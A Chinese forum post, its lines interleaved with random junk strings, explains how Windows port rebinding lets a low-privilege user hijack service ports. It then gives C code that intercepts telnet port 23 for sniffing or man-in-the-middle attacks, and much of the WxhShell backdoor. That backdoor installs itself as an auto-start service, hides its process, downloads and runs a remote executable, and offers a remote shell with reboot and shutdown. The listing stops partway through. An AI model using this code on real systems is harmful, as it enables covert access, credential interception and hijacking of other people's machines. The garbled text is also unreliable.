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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2N.!#~_2D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f^Q)lIv  
r_o\72  
  saddr.sin_family = AF_INET; d-I=xpB  
+Edq4QYwR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]=Wq&~  
;U?323Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )W1[{?  
1TgD;qX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |WgFLF~k  
LDDt=HEY4  
  这意味着什么?意味着可以进行如下的攻击: raM{!T:  
0 n|>/i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8]4W@~c  
O1oh,~W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b >'c   
0Q]{r )  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i1Y<[s  
c Hnd gUW]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "~"=e  
/5?tXH"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :GM3n$  
bc2S?u{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q@C  y\l  
D% 2S!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d\tA1&k71  
c7R6.T  
  #include &B$%|~Y5  
  #include c >xHaA:V  
  #include u>V~:q\X  
  #include    Bey9P)_Of  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Kw`}hSE>o  
  int main() z AY -Y  
  { Yr>7c1FZi  
  WORD wVersionRequested; qh6Q#s>tH  
  DWORD ret; t;t;+M|W  
  WSADATA wsaData; x, 'KI?TyQ  
  BOOL val; mD,fxm{G  
  SOCKADDR_IN saddr; > v4+@o[~  
  SOCKADDR_IN scaddr; D#d/?\2  
  int err; Z5"5Ge-M  
  SOCKET s; F2Mxcs* M  
  SOCKET sc; =@d->d  
  int caddsize; <Q_E3lQy/  
  HANDLE mt; +_ $!9m  
  DWORD tid;   $qiM_06  
  wVersionRequested = MAKEWORD( 2, 2 ); 2xv[cpVi  
  err = WSAStartup( wVersionRequested, &wsaData ); ixB"6O  
  if ( err != 0 ) { p }3$7CR/  
  printf("error!WSAStartup failed!\n"); t~Q j$:\  
  return -1; ye4GHAm,p  
  } L!Gpk)}[i  
  saddr.sin_family = AF_INET; N <M6~  
   VP1 z"j:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~8)l/I=`);  
,be$ ~7qS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w$jSlgUHy)  
  saddr.sin_port = htons(23); *d-JAE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cEGR?4z  
  { m-Qy6"eW  
  printf("error!socket failed!\n"); zOYG`:/'  
  return -1; P6`LUyz3  
  } ~pwk[Q!  
  val = TRUE; $?DEO[p.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JHJ]BMm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /lc4oXG8  
  { |)[&V3+|  
  printf("error!setsockopt failed!\n"); !^Q4ZL,-  
  return -1; .lGN Fx  
  } -v9x tNg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k8,s<m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ksyQ_4^SO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O ]t)`+%q  
n m.5!.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )qRE['M  
  { P&*e\"{  
  ret=GetLastError(); lN*"?%<x>  
  printf("error!bind failed!\n"); )4n]n:FjN  
  return -1; }&^1")2t  
  } Mz;KXP  
  listen(s,2); 1+xi1w}3a  
  while(1) cea e~  
  { Q 34-a"6)  
  caddsize = sizeof(scaddr); 03!#99  
  //接受连接请求  K"Gea`I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '^tC|)  
  if(sc!=INVALID_SOCKET) pJ/{X=y  
  { .G>~xm0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5qkyi]/U8  
  if(mt==NULL) 9jllW[`2F  
  { VI)hA ^ S  
  printf("Thread Creat Failed!\n"); [2ri=lf,  
  break; \+<=O`  
  } R  xc  
  } -$`q:j  
  CloseHandle(mt); 0"i QHi  
  } 2nSK}q  
  closesocket(s); 0SJ(Ln`0K  
  WSACleanup(); c&"1Z/tR  
  return 0; 9 }  ]C  
  }   _OB^ywHn.  
  DWORD WINAPI ClientThread(LPVOID lpParam) q'%!qa+  
  { a4",BDx  
  SOCKET ss = (SOCKET)lpParam; G'Uq595'-  
  SOCKET sc; wYh]3  
  unsigned char buf[4096]; o)H| #9h5  
  SOCKADDR_IN saddr; w} r mYQ  
  long num; J,k.*t:  
  DWORD val; #,OiZQJC  
  DWORD ret; i"n1E@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sfsK[c5bm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    9-y<= )  
  saddr.sin_family = AF_INET;  hAD gi^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %4w#EbkSS  
  saddr.sin_port = htons(23); }U**)"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,n$HTWa@0  
  { I<S*"[nV  
  printf("error!socket failed!\n"); 8*eVP*g  
  return -1; cpx:4R,  
  } t!0 IQ9\[*  
  val = 100; tNxKpA |F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }1NNXxQ  
  { MgH O WoF  
  ret = GetLastError(); t]xR`Rr;X  
  return -1; ?*cCn-|  
  } la`f@~Bbr1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <M\#7.](  
  { _"82W^Wi  
  ret = GetLastError(); $Eo-58<q  
  return -1; 4"Mq]_D  
  } ephvvj~zW4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mh#_lbe'  
  { c`7dNx  
  printf("error!socket connect failed!\n"); 9\%`/tJM  
  closesocket(sc); V|pO";%>,  
  closesocket(ss); Oo9'  
  return -1; l^rQo_alk  
  } ~P"o_b6,k  
  while(1) c>wn e\(5H  
  {  x(A6RRh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n{"a 0O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 24 RD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `?SLp  
  num = recv(ss,buf,4096,0); K/8TwB?I  
  if(num>0) _[N*k"  
  send(sc,buf,num,0); ^(7Qz&q  
  else if(num==0) SxL/]jWR7  
  break; kk}_AZ0eK  
  num = recv(sc,buf,4096,0); MZ>Q Rf  
  if(num>0) Bx|h)e9  
  send(ss,buf,num,0); l _zTpyOZ  
  else if(num==0) +(h{ 3Y|  
  break; c;88Wb<|W  
  } =|H.r9-PK6  
  closesocket(ss); -a7BVEFts  
  closesocket(sc); J#\oc@  
  return 0 ; G}@a]EGm  
  } DDZnNSo<JQ  
@su!9]o  
a?*pO`<J{  
========================================================== br*PB]dU  
rGay~\  
下边附上一个代码,,WXhSHELL C4gzg  
 Au*1-  
========================================================== I 1Yr{(ho  
E|W7IgS  
#include "stdafx.h" 8( bK\-b  
-:Bgp*S  
#include <stdio.h> ul!q)cPb{  
#include <string.h> |Gr@Mi5  
#include <windows.h> lz _ r  
#include <winsock2.h> )*aAkM  
#include <winsvc.h> =Ea,8bpn  
#include <urlmon.h> CW+gZ!  
#It!D5A  
#pragma comment (lib, "Ws2_32.lib") D H:9iX'  
#pragma comment (lib, "urlmon.lib") N[N4!k )!$  
IH.EvierJ  
#define MAX_USER   100 // 最大客户端连接数 N:,V{Pw  
#define BUF_SOCK   200 // sock buffer =FfR?6 ~  
#define KEY_BUFF   255 // 输入 buffer TW=N+ye^1(  
1G'pT$5&  
#define REBOOT     0   // 重启 ypx`!2Q$  
#define SHUTDOWN   1   // 关机 iDYm4sY  
M%s!qC+  
#define DEF_PORT   5000 // 监听端口 )/Oldyp  
gl!ht@;>ak  
#define REG_LEN     16   // 注册表键长度 {~#d_!(  
#define SVC_LEN     80   // NT服务名长度 n%!50E6*:  
%1)JRc  
// 从dll定义API zbfe=J4c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m3XT8F*&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Z8wMy&:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ed#>q;jX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?<^^.Si  
n;y[%H!g  
// wxhshell配置信息 #z}0]GJKj  
struct WSCFG { m/`L3@7Tt  
  int ws_port;         // 监听端口 EF;B)y=  
  char ws_passstr[REG_LEN]; // 口令 .ZM0cwF  
  int ws_autoins;       // 安装标记, 1=yes 0=no &"Fz)}  
  char ws_regname[REG_LEN]; // 注册表键名 &LQfs4}a,  
  char ws_svcname[REG_LEN]; // 服务名 ,2P /[ :  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^Zlbs goZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zR?1iV.]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qipS`:TER  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {vur9L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rym*W\AWx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #r]GnC,  
C}\kp0mz  
};  !>Q{co'  
D2zqDo<+;  
// default Wxhshell configuration wd1>L) T  
struct WSCFG wscfg={DEF_PORT, SRrp= >w?  
    "xuhuanlingzhe", ^[v>B@p*{  
    1, lo36b zbT  
    "Wxhshell", !"'@c  
    "Wxhshell", #q8/=,3EG  
            "WxhShell Service", l>)+HoD  
    "Wrsky Windows CmdShell Service", %m$t'?  
    "Please Input Your Password: ", 2 S2;LB  
  1, ,/[1hhP@  
  "http://www.wrsky.com/wxhshell.exe", Ld=6'C8ud  
  "Wxhshell.exe" x[$ :^5V  
    }; ]Nue1xV_  
i'}"5O+  
// 消息定义模块 N5b&tJb M0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N8X)/W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n%s$!R- \  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2(R{3E4.  
char *msg_ws_ext="\n\rExit."; >uE<-klv  
char *msg_ws_end="\n\rQuit."; .[Ny(X/]/}  
char *msg_ws_boot="\n\rReboot..."; >Fc=F#tA9  
char *msg_ws_poff="\n\rShutdown..."; {7Kl #b  
char *msg_ws_down="\n\rSave to "; 8qT^=K $  
<g, 21(bc  
char *msg_ws_err="\n\rErr!"; 51'V[tI;8  
char *msg_ws_ok="\n\rOK!"; LtNspFoLb  
SA [(1dy;  
char ExeFile[MAX_PATH]; B'6(Ao=3/  
int nUser = 0; }RQ'aeVl(  
HANDLE handles[MAX_USER]; ?:W=ddg  
int OsIsNt; d%oHcn  
(>dL  
SERVICE_STATUS       serviceStatus; q'jInwY|x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KC54=Rf  
3) XS^WG  
// 函数声明 ca%XA|_J  
int Install(void); EDg; s-T=  
int Uninstall(void); >,f5 5  
int DownloadFile(char *sURL, SOCKET wsh); Ex{;&UWm  
int Boot(int flag); d/E0opv  
void HideProc(void); )7WLbj!M  
int GetOsVer(void); cN)noGkp  
int Wxhshell(SOCKET wsl); H+Q_%%[N  
void TalkWithClient(void *cs); &CfzhIi*!  
int CmdShell(SOCKET sock); XL(2Qk  
int StartFromService(void); tz2$j@!=  
int StartWxhshell(LPSTR lpCmdLine); / q^_ 'Lp  
`U{#;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w^S]HzMd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yRz l}  
,MD >Jx|  
// 数据结构和表定义 YwJ<0;:+hS  
SERVICE_TABLE_ENTRY DispatchTable[] = :oJ!9\5  
{ 0:eK}tC  
{wscfg.ws_svcname, NTServiceMain}, RR>G}u9 np  
{NULL, NULL} M,SIs 3  
}; ^!SwY_>  
qx}*L'xB  
// 自我安装 oSP^ .BJ$  
int Install(void) t0)hd X  
{ mm N $\2  
  char svExeFile[MAX_PATH]; 5(y Q-/6C+  
  HKEY key; W}k)5<C4v  
  strcpy(svExeFile,ExeFile); 1["IT.,f.  
'he&h4fm  
// 如果是win9x系统,修改注册表设为自启动 x!UGLL]_M  
if(!OsIsNt) { ?)4c!3#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q>\9/DjUp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I5g!c|#y  
  RegCloseKey(key); M U2];  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { --TY[b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J#G\7'?{  
  RegCloseKey(key); x%RE3J-  
  return 0; jDW$}^ 6  
    } {!"lHM%  
  } $"Nqto~  
} fJn4'Q*U  
else { KPa&P:R3  
wr2F]1bh@  
// 如果是NT以上系统,安装为系统服务 5I5#LQv0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I@q4D1g  
if (schSCManager!=0) ae] hCWK  
{ Y IVN;:B.  
  SC_HANDLE schService = CreateService ~<=wTns!  
  ( =`wnng5m  
  schSCManager, \Qz  
  wscfg.ws_svcname, 7[(<t+  
  wscfg.ws_svcdisp, n Ayyjd3!S  
  SERVICE_ALL_ACCESS, lUHpGr|U%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E\~!E20^  
  SERVICE_AUTO_START, !(qaudX{>k  
  SERVICE_ERROR_NORMAL, 6CzN[R}  
  svExeFile, k7bfgb {  
  NULL, 3 yM!BTlX  
  NULL, "C]_pWk  
  NULL, _^Q =n>G  
  NULL, 1$uO%  
  NULL 9K#U<Q0b'  
  ); )7iYx{n  
  if (schService!=0) @. KFWAm  
  { fMZc_dsW9  
  CloseServiceHandle(schService); YGkk"gFIA  
  CloseServiceHandle(schSCManager); ~)!vhdBe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [1.>9ngj  
  strcat(svExeFile,wscfg.ws_svcname); ](^BQc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iR4!X()  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t%30B^Ii%K  
  RegCloseKey(key); 2@pEuB3$?!  
  return 0; 2L?Pw   
    } B6]M\4v  
  } y3mJO[U0 a  
  CloseServiceHandle(schSCManager); 9 X87"  
} yv.(Oy  
} QCvst*  
Gu K!<-Oz"  
return 1; p}k\l dmh{  
} *7!*kq g!u  
_,E! <  
// 自我卸载 H,U qU3b3  
int Uninstall(void) sTF Ru  
{ `xu/|})KI  
  HKEY key; 08;t%[R  
i^6g1"h  
if(!OsIsNt) { <@H=XEn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #W=H)6  
  RegDeleteValue(key,wscfg.ws_regname); qvN 5[rb  
  RegCloseKey(key); F$H^W@<w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OEj%cB!  
  RegDeleteValue(key,wscfg.ws_regname); 7a'@NgiGg  
  RegCloseKey(key); m*H6\on:  
  return 0; aZYs?b>Gm  
  } mX QVL.P\  
} iCZ1ARi  
} W8s/"  
else { h%(0|  
HXRK<6k$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H%`|yUE(  
if (schSCManager!=0) /mFa*~dj2  
{ g+92}$_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vhu5w#]u*  
  if (schService!=0) :X ~{,J  
  { #kL4Rm;  
  if(DeleteService(schService)!=0) { ~0XV[$`L  
  CloseServiceHandle(schService); L9(!L$  
  CloseServiceHandle(schSCManager); `1)n2<B  
  return 0; 7%Ii:5Bp  
  } (%f2ZNen  
  CloseServiceHandle(schService); (= ,w$  
  } h**mAa0fo  
  CloseServiceHandle(schSCManager); FQ6{NMz,h  
} gjhWoZV  
} BX6]d:S  
A+1>n^^_<  
return 1; :ODG]-QF  
} ixIfJ  
Xu#K<#V  
// 从指定url下载文件 tD !$!\`O  
int DownloadFile(char *sURL, SOCKET wsh) X |X~|&j  
{ vd!|k5t[d  
  HRESULT hr; $Xr9<)?,  
char seps[]= "/"; 0`l(c  
char *token; ' CO3b,  
char *file; k=qb YGK  
char myURL[MAX_PATH]; Zp*0%x!e  
char myFILE[MAX_PATH]; F B7.b  
7Yd]#K{$  
strcpy(myURL,sURL); {`CmE/`{  
  token=strtok(myURL,seps); E0Jk=cq  
  while(token!=NULL) by%k*y  
  { Cz1o@ rt  
    file=token; \Z%V)ZRi=  
  token=strtok(NULL,seps); %["V "{ z  
  } "<I*ViZ  
.|9o`mF7  
GetCurrentDirectory(MAX_PATH,myFILE); !]z6?kUK  
strcat(myFILE, "\\"); mBZg(TY  
strcat(myFILE, file); Rt10:9Kz$  
  send(wsh,myFILE,strlen(myFILE),0); nXnO]wXC  
send(wsh,"...",3,0); orzy &4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o{wXq)b  
  if(hr==S_OK) U:o(%dk  
return 0; L=."<,\  
else $*[-kIy  
return 1; pJ 7="n  
>rb8A6  
} -THU5AB  
FlQ(iv)P  
// 系统电源模块 WGrG#Kw[  
int Boot(int flag) z^r  
{ ~}fQ.F*7R  
  HANDLE hToken; lwuslt*E/  
  TOKEN_PRIVILEGES tkp; \a}W{e=FNT  
51lN,VVD  
  if(OsIsNt) { ;iMgv5=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $"G=r(MW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4(FEfde=  
    tkp.PrivilegeCount = 1; G`" 9/FI7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 96$qH{]Ap  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nd/.]"  
if(flag==REBOOT) { dNMz(~A[Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zU$S#4/C  
  return 0; hB)TH'R{:  
}  M} {'kK  
else { 3\jcq@N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2XN];,{  
  return 0; D-IXO @x  
} 0cBk/x^s  
  } X}s}E ;v9  
  else { BCtm05  
if(flag==REBOOT) { 8S_v} NUm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L&2 Zn{#`  
  return 0; z1u1%FwOfM  
} {a `#O9  
else {  ,m-/R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8QYM/yAM  
  return 0; 8P#jC$<  
} DNN60NX 5Q  
} ?g21U97Q  
)+ss)L EC  
return 1; vtS [Tkk|A  
} Os# V=P  
(;o/2Q?  
// win9x进程隐藏模块 *?GV(/Q  
void HideProc(void) 8={ " j  
{ 7CKh?>  
BCK0fk~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T+y3Ph--^  
  if ( hKernel != NULL ) g,N"o72)  
  { sC=fXCGW\p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P}Ud7Vil;l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (f*0Wp;  
    FreeLibrary(hKernel); 17nONhh  
  } z sZP\  
$stBB  
return; hn bF}AD  
} ED+tVXyw  
k5%:L2FO  
// 获取操作系统版本 v)a$;P%  
int GetOsVer(void) },G>+ s8h  
{ +80yyn#  
  OSVERSIONINFO winfo; ]"Qm25`Qz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1|c\^;cTkt  
  GetVersionEx(&winfo); ,,-g*[/3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X-&U-S;  
  return 1; *mgK^9<  
  else !}gC0dJ  
  return 0; rg^  
} B.-1wZl  
i!!1^DMrw  
// 客户端句柄模块 c88I"5@[bD  
int Wxhshell(SOCKET wsl) $O/@bh1@p  
{ %;Dp~T`0  
  SOCKET wsh; 7Q(5Nlfcz  
  struct sockaddr_in client; KF#,Q  
  DWORD myID; 3'H 1T  
y~cDWD <h  
  while(nUser<MAX_USER) +4,v. B@  
{ b:,S  
  int nSize=sizeof(client); N<\U$\i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]ctlK'.  
  if(wsh==INVALID_SOCKET) return 1; ~HH#aXh*  
n2JwZ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uD2v6x236  
if(handles[nUser]==0) Ris5) *7  
  closesocket(wsh); W\tSXM-Hg  
else $1h,<$5H  
  nUser++; Y!8Ik(/~i  
  } Q[+o\{ O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x-:a5Kz!  
`zjEs8`'  
  return 0; Q9`}dYf.  
} <L1;aNN  
0pSqk/  
// 关闭 socket |G5Me  
void CloseIt(SOCKET wsh) %b H1We  
{ F .(zS(q  
closesocket(wsh); ;eG,T-:  
nUser--; L %[om c?  
ExitThread(0); "Yo.]P U  
} pL {h1^O}  
J1?)z+t9~  
// 客户端请求句柄 $LLy#h?V]  
void TalkWithClient(void *cs) >^8=_i !  
{ [_&\wHX  
)PRyDC-  
  SOCKET wsh=(SOCKET)cs; c teUKK.|)  
  char pwd[SVC_LEN]; uHv9D%R  
  char cmd[KEY_BUFF]; Hvn{aLa.  
char chr[1]; V0,%g+.^  
int i,j; , 8NY<sFh  
JY+ N+c\  
  while (nUser < MAX_USER) { tntQO!pM  
q&h&GZ  
if(wscfg.ws_passstr) { oCBZ9PGkK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }=':)?'-.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;_.%S*W\  
  //ZeroMemory(pwd,KEY_BUFF); !z !R)6  
      i=0; Sc!{ o!9\  
  while(i<SVC_LEN) { Jv*(DFt!v  
?]`kc  
  // 设置超时 !);kjXQS?  
  fd_set FdRead; ]vJ] i <|b  
  struct timeval TimeOut; Q)\~=/L b  
  FD_ZERO(&FdRead); y^o*wz:D*  
  FD_SET(wsh,&FdRead); bIR AwktD  
  TimeOut.tv_sec=8; Q1fJ`A=  
  TimeOut.tv_usec=0; N{}XHA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f_*Bd.@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1N#KVvK  
8\+Q*7~@i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bp06xHMu  
  pwd=chr[0]; ohFUy}y  
  if(chr[0]==0xd || chr[0]==0xa) { - I$qe Xy  
  pwd=0; 6gLk?^.  
  break; f\W1u#;u)  
  } 4,o|6H  
  i++; Jl-Lz03YG  
    }  Pa .D+  
U*.Wx0QM  
  // 如果是非法用户,关闭 socket c :S A#.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6R%Ra  
} RJ ,a}w[9  
hrpql_9.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #S57SD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Fq"lq %  
"t4$%7L]  
while(1) { }n+#o!uEf  
6]=$c<.&  
  ZeroMemory(cmd,KEY_BUFF); ^:.=S`,^  
35dbDgVz$  
      // 自动支持客户端 telnet标准   no*p`a *  
  j=0; jl;%?bx  
  while(j<KEY_BUFF) { iRo/~(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ""GeO%J8  
  cmd[j]=chr[0]; R^`#xQ  
  if(chr[0]==0xa || chr[0]==0xd) { S\"/=|\  
  cmd[j]=0; ZGUhje!  
  break; G+^Q _w  
  } gpBpG  
  j++; '%@fW:r~  
    } ,O[HX?>  
jG"n);WF  
  // 下载文件 I`?6>Z+%)  
  if(strstr(cmd,"http://")) { TA=VfA B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #{]X<et  
  if(DownloadFile(cmd,wsh)) @`&kn;7T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xsvf@/]U  
  else B'( /W@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xn49[T  
  } 3cuVyf<v  
  else { q[l!kC+Eh  
\,<5U F0  
    switch(cmd[0]) { m{(G%n>E&  
  'lPt.*Y<u  
  // 帮助 vf=b5s(7Q  
  case '?': { >wiW(Ki}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A %iZ_h^  
    break; a?4'',~  
  } Nwu,:}T  
  // 安装 }g1V6 `8&  
  case 'i': { C]ev"Am_)  
    if(Install()) W 7k\j&x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1+1Z]!nG#!  
    else _~?N3G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?d&+mt  
    break; KZFnp=i  
    } (Sr D  
  // 卸载 D -Goi-4  
  case 'r': { !,f{I5/  
    if(Uninstall()) *~~&*&+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2R:I23[#B  
    else > YHwWf-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O s*B%,}  
    break; 1'c  
    } E1(2wJ-3"  
  // 显示 wxhshell 所在路径 KkVFY+/)  
  case 'p': { N"X;aVFs_  
    char svExeFile[MAX_PATH]; ?[ n{M  
    strcpy(svExeFile,"\n\r"); }bQqln)#  
      strcat(svExeFile,ExeFile); |D `r o  
        send(wsh,svExeFile,strlen(svExeFile),0); 4l0ON>W(  
    break;  xZJ r*  
    } \ /(;LHWQ  
  // 重启 DYS|"tSk  
  case 'b': { A=LyN$ %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R5iv]8X4W  
    if(Boot(REBOOT)) o"5Bg%H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`:X37n)0q  
    else { 2&st/y(hs  
    closesocket(wsh); DA)mkp  
    ExitThread(0); <ob+Ano$  
    } t{\,vI  
    break; {ZiZ$itf  
    } }co v"o  
  // 关机 }}AooziH9  
  case 'd': { aJ[K'5|  
